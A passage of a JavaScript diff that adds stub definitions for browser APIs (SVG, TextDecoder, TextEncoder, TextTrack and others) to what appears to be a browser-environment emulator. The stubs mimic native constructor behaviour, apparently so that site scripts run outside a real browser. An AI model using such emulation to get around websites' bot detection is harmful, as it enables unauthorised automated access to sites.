"SVGTransform", "setTranslate", arguments); + } +}, 'prototype'); +// SVGTransformList对象 + +bodavm.memory.globalobj['SVGTransformList'] = function SVGTransformList() { + console.log_copy('SVGTransformList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTransformList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransformList'], "SVGTransformList"); +bodavm.toolsFunc.defineProperty('SVGTransformList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "consolidate", { + configurable: true, + enumerable: true, + writable: true, + value: function consolidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "consolidate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "createSVGTransformFromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransformFromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "createSVGTransformFromMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "replaceItem", arguments); + } +}, 'prototype'); +// SVGTSpanElement对象 + +bodavm.memory.globalobj['SVGTSpanElement'] = function SVGTSpanElement() { + console.log_copy('SVGTSpanElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTSpanElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTSpanElement'], "SVGTSpanElement"); +bodavm.memory.globalobj['SVGTSpanElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; +bodavm.memory.globalobj['SVGTSpanElement'].__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement']; +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGUnitTypes对象 + +bodavm.memory.globalobj['SVGUnitTypes'] = function SVGUnitTypes() { + console.log_copy('SVGUnitTypes 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGUnitTypes)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUnitTypes'], "SVGUnitTypes"); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +// SVGViewElement对象 + +bodavm.memory.globalobj['SVGViewElement'] = function SVGViewElement() { + console.log_copy('SVGViewElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGViewElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGViewElement'], "SVGViewElement"); +bodavm.memory.globalobj['SVGViewElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGViewElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "zoomAndPan", { + configurable: true, + enumerable: true, + get: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_get", arguments); + }, + set: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +// SyncManager对象 + +bodavm.memory.globalobj['SyncManager'] = function SyncManager() { + console.log_copy('SyncManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SyncManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SyncManager'], "SyncManager"); +bodavm.toolsFunc.defineProperty('SyncManager', "getTags", { + configurable: true, + enumerable: true, + writable: true, + value: function getTags() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "getTags", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SyncManager', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "register", arguments); + } +}, 'prototype'); +// TaskAttributionTiming对象 + +bodavm.memory.globalobj['TaskAttributionTiming'] = function TaskAttributionTiming() { + console.log_copy('TaskAttributionTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskAttributionTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskAttributionTiming'], "TaskAttributionTiming"); +bodavm.memory.globalobj['TaskAttributionTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['TaskAttributionTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerType", { + configurable: true, + enumerable: true, + get: function containerType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerSrc", { + configurable: true, + enumerable: true, + get: function containerSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerId", { + configurable: true, + enumerable: true, + get: function containerId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerName", { + configurable: true, + enumerable: true, + get: function containerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "toJSON", arguments); + } +}, 'prototype'); +// TaskController对象 + +bodavm.memory.globalobj['TaskController'] = function TaskController() { + console.log_copy('TaskController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TaskController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskController'], "TaskController"); +bodavm.memory.globalobj['TaskController'].prototype.__proto__ = bodavm.memory.globalobj['AbortController'].prototype; +bodavm.memory.globalobj['TaskController'].__proto__ = bodavm.memory.globalobj['AbortController']; +bodavm.toolsFunc.defineProperty('TaskController', "setPriority", { + configurable: true, + enumerable: true, + writable: true, + value: function setPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskController'].prototype, "TaskController", "setPriority", arguments); + } +}, 'prototype'); +// TaskPriorityChangeEvent对象 + +bodavm.memory.globalobj['TaskPriorityChangeEvent'] = function TaskPriorityChangeEvent() { + console.log_copy('TaskPriorityChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskPriorityChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TaskPriorityChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskPriorityChangeEvent'], "TaskPriorityChangeEvent"); +bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TaskPriorityChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TaskPriorityChangeEvent', "previousPriority", { + configurable: true, + enumerable: true, + get: function previousPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype, "TaskPriorityChangeEvent", "previousPriority_get", arguments); + }, + set: undefined +}, 'prototype'); +// TaskSignal对象 + +bodavm.memory.globalobj['TaskSignal'] = function TaskSignal() { + console.log_copy('TaskSignal 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskSignal)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskSignal'], "TaskSignal"); +bodavm.memory.globalobj['TaskSignal'].prototype.__proto__ = bodavm.memory.globalobj['AbortSignal'].prototype; +bodavm.memory.globalobj['TaskSignal'].__proto__ = bodavm.memory.globalobj['AbortSignal']; +bodavm.toolsFunc.defineProperty('TaskSignal', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "priority_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskSignal', "onprioritychange", { + configurable: true, + enumerable: true, + get: function onprioritychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_get", arguments); + }, + set: function onprioritychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_set", arguments); + } +}, 'prototype'); +// TextDecoder对象 + +bodavm.memory.globalobj['TextDecoder'] = function TextDecoder() { + console.log_copy('TextDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextDecoder(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoder'], "TextDecoder"); +bodavm.toolsFunc.defineProperty('TextDecoder', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "fatal", { + configurable: true, + enumerable: true, + get: function fatal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "fatal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "ignoreBOM", { + configurable: true, + enumerable: true, + get: function ignoreBOM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "ignoreBOM_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "decode", arguments); + } +}, 'prototype'); +// TextDecoderStream对象 + +bodavm.memory.globalobj['TextDecoderStream'] = function TextDecoderStream() { + console.log_copy('TextDecoderStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextDecoderStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoderStream'], "TextDecoderStream"); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "fatal", { + configurable: true, + enumerable: true, + get: function fatal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "fatal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "ignoreBOM", { + configurable: true, + enumerable: true, + get: function ignoreBOM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "ignoreBOM_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextDecoderStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// TextEncoder对象 + +bodavm.memory.globalobj['TextEncoder'] = function TextEncoder() { + console.log_copy('TextEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextEncoder(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoder'], "TextEncoder"); +bodavm.toolsFunc.defineProperty('TextEncoder', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoder', "encodeInto", { + configurable: true, + enumerable: true, + writable: true, + value: function encodeInto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encodeInto", arguments); + } +}, 'prototype'); +// TextEncoderStream对象 + +bodavm.memory.globalobj['TextEncoderStream'] = function TextEncoderStream() { + console.log_copy('TextEncoderStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TextEncoderStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoderStream'], "TextEncoderStream"); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "encoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEncoderStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// TextEvent对象 + +bodavm.memory.globalobj['TextEvent'] = function TextEvent() { + console.log_copy('TextEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEvent'], "TextEvent"); +bodavm.memory.globalobj['TextEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['TextEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('TextEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextEvent', "initTextEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initTextEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "initTextEvent", arguments); + } +}, 'prototype'); +// TextMetrics对象 + +bodavm.memory.globalobj['TextMetrics'] = function TextMetrics() { + console.log_copy('TextMetrics 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextMetrics)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextMetrics'], "TextMetrics"); +bodavm.toolsFunc.defineProperty('TextMetrics', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxLeft", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxRight", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxRight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxRight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxAscent", { + configurable: true, + enumerable: true, + get: function fontBoundingBoxAscent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxAscent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxDescent", { + configurable: true, + enumerable: true, + get: function fontBoundingBoxDescent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxDescent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxAscent", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxAscent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxAscent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxDescent", { + configurable: true, + enumerable: true, + get: function actualBoundingBoxDescent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxDescent_get", arguments); + }, + set: undefined +}, 'prototype'); +// TextTrack对象 + +bodavm.memory.globalobj['TextTrack'] = function TextTrack() { + console.log_copy('TextTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrack'], "TextTrack"); +bodavm.memory.globalobj['TextTrack'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrack'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrack', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "language", { + configurable: true, + enumerable: true, + get: function language() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "language_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_get", arguments); + }, + set: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "cues", { + configurable: true, + enumerable: true, + get: function cues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "cues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "activeCues", { + configurable: true, + enumerable: true, + get: function activeCues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "activeCues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "addCue", { + configurable: true, + enumerable: true, + writable: true, + value: function addCue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "addCue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "removeCue", { + configurable: true, + enumerable: true, + writable: true, + value: function removeCue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, 